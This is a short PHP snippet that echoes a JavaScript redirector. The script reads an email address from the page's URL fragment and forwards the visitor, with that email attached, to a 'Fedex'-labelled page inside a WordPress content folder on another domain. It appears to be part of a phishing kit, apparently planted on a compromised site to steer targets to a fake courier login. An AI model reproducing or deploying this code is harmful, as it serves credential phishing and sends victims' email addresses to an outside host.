echo '
<script type="text/javascript" >
 function validateEmail(email) {
   var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
   return re.test(email);
 }
 var hash = window.location.hash.substring(1);
 if(validateEmail(hash)) {
  window.location = "https://across-ssd.org/wp-content/Fedex/?email="+hash;
 }
</script>
';